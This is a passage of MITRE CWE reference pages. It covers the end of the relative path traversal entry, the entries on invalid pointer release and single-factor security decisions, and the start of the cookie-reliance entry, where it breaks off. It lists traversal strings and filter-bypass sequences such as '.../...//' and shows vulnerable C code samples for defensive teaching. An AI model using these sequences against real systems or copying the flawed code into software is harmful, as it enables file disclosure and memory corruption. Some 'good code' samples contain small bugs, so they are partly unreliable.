Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"
directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file
a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"
Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/../" sequences, or several "../" in a URI.
"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.
Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.
Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.
Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.
Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.
Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command.
The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002.
"\..." in web server
"..." in cd command in FTP server
"..." in cd command in FTP server
"..." in cd command in FTP server
read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server.
read files using "." and Unicode-encoded "/" or "\" characters in the URL.
Directory listing of web server using "..."
Triple dot
read files via "/........../" in URL
read files via "...." in web server
read files via "......" in web server (doubled triple dot?)
read files via "......" in web server (doubled triple dot?)
multiple attacks using "..", "...", and "...." in different commands
"..." or "...." in chat server
chain: ".../...//" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal.
".../....///" bypasses regexp's that remove "./" and "../"
Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "....//" in user supplied parameters.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRelative Path Traversal
Software Fault PatternsSFP16Path Traversal
+ References
[REF-192] OWASP. "OWASP Attack listing". <http://www.owasp.org/index.php/Relative_Path_Traversal>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
[REF-1282] Snyk. "Zip Slip Vulnerability". 2018-06-05. <https://security.snyk.io/research/zip-slip-vulnerability>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2022-07-11Nick Johnston
Identified weakness in Perl demonstrative example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, References, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-763: Release of Invalid Pointer or Reference

Weakness ID: 763
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.
+ Extended Description

This weakness can take several forms, such as:

  • The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
  • The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.761Free of Pointer not at Start of Buffer
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.762Mismatched Memory Management Routines
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.465Pointer Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability
Confidentiality

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands

This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.
+ Demonstrative Examples

Example 1

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

(bad code)
Example Language:
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
if (**ap != '\0')
if (++ap >= &argv[10])
break;

/.../
free(ap[4]);

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 2

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

(bad code)
Example Language: C++ 
void foo(){
BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

free(ptr);
}

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

(good code)
Example Language: C++ 
void foo(){
BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

delete ptr;
}

Example 3

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

(bad code)
Example Language:
#define SUCCESS (1)
#define FAILURE (0)

int contains_char(char c){
char *str;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( *str != NULL){
if( *str == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;
}
/* didn't match yet, increment pointer and try next char */

str = str + 1;
}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;
}

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

(good code)
Example Language:
#define SUCCESS (1)
#define FAILURE (0)

int cointains_char(char c){
char *str;
int i = 0;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( i < strlen(str) ){
if( str[i] == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;
}
/* didn't match yet, increment pointer and try next char */

i = i + 1;
}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;
}

Example 4

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

(bad code)
Example Language:

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";

get_user_input( input );

/* The following loop will parse and process each token in the input string */

tok = strtok( input, sep);
while( NULL != tok ){
if( isMalformed( tok ) ){

/* ignore and discard bad data */
free( tok );
}
else{
add_to_command_queue( tok );
}
tok = strtok( NULL, sep));
}

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

(good code)
Example Language:

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";

get_user_input( input );

/* The following loop will parse and process each token in the input string */

tok = strtok( input, sep);
while( NULL != tok ){
if( !isMalformed( command ) ){

/* copy and enqueue good data */
command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
strcpy( command, tok );
add_to_command_queue( command );
}
tok = strtok( NULL, sep));
}

free( input )
+ Observed Examples
ReferenceDescription
function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory."
+ Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.969SFP Secondary Cluster: Faulty Memory Release
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1237SFP Primary Cluster: Faulty Resource Release
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The view-1000 subtree that is associated with this weakness needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP12Faulty Memory Release
+ References
[REF-657] "boost C++ Library Smart Pointers". <https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm>. URL validated: 2023-04-07.
[REF-480] "Valgrind". <http://valgrind.org/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-08
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2010-06-21CWE Content TeamMITRE
updated Description
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-654: Reliance on a Single Factor in a Security Decision

Weakness ID: 654
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.
+ Alternate Terms
Separation of Privilege:
Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this entry is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.308Use of Single-factor Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.309Use of Password System for Primary Authentication
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1293Missing Source Correlation of Multiple Independent Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.
Non-Repudiation

Technical Impact: Hide Activities

It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.
+ Demonstrative Examples

Example 1

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

+ Observed Examples
ReferenceDescription
Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
+ Potential Mitigations

Phase: Architecture and Design

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Phase: Architecture and Design

Use redundant access rules on different choke points (e.g., firewalls).
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this entry). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
ISA/IEC 62443Part 4-1Req SD-3
ISA/IEC 62443Part 4-1Req SD-4
ISA/IEC 62443Part 4-1Req SI-1
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-535] Sean Barnum and Michael Gegick. "Separation of Privilege". 2005-12-06. <https://web.archive.org/web/20220126060047/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/separation-of-privilege>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-18
(CWE Draft 8, 2008-01-30)
Pascal MeunierPurdue University
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Relationships, Other_Notes, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Description, Name
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Maintenance_Notes, Other_Notes
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms, Maintenance_Notes
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Design Principle Violation: Reliance on a Single Factor in a Security Decision

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID: 565
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.
+ Extended Description
Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.
+ Relationships
